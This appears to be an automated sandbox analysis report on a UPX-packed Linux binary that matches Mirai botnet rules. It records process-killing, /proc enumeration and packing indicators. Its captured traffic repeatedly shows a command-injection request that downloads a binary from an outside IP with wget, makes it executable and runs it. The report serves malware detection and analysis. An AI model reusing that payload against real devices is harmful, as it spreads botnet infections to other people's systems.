Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

System Summary:

Malicious sample detected (through community Yara rule)

Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth

Sample contains only a LOAD segment without any section mappings

Source: LOAD without section mappings

Program segment: 0x8048000

Yara signature match

Source: 1xtO9V8ku8, type: SAMPLE	Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4
Source: 5228.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5223.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5225.1.000000005e833d9b.000000006a7ff293.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5227.1.000000005e833d9b.000000008327e148.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5226.1.000000005e833d9b.000000006a7ff293.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b

Sample tries to kill a process (SIGKILL)

Source: /tmp/1xtO9V8ku8 (PID: 5225)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	SIGKILL sent: pid: 5225, result: successful	Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.lin@0/53@0/0

Data Obfuscation:

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $

Persistence and Installation Behavior:

Enumerates processes within the "proc" file system

Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/793/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/796/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/797/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/799/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/785/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/721/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/788/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/789/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/847/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5225)	File opened: /proc/904/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2033/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1582/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2275/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1612/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1579/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1699/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1335/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1698/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2028/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1334/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1576/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2302/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/3236/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2025/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2146/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2307/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1594/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2285/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2281/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1349/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1623/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1622/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1983/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2038/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1586/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1465/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1344/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1860/fd	Jump to behavior
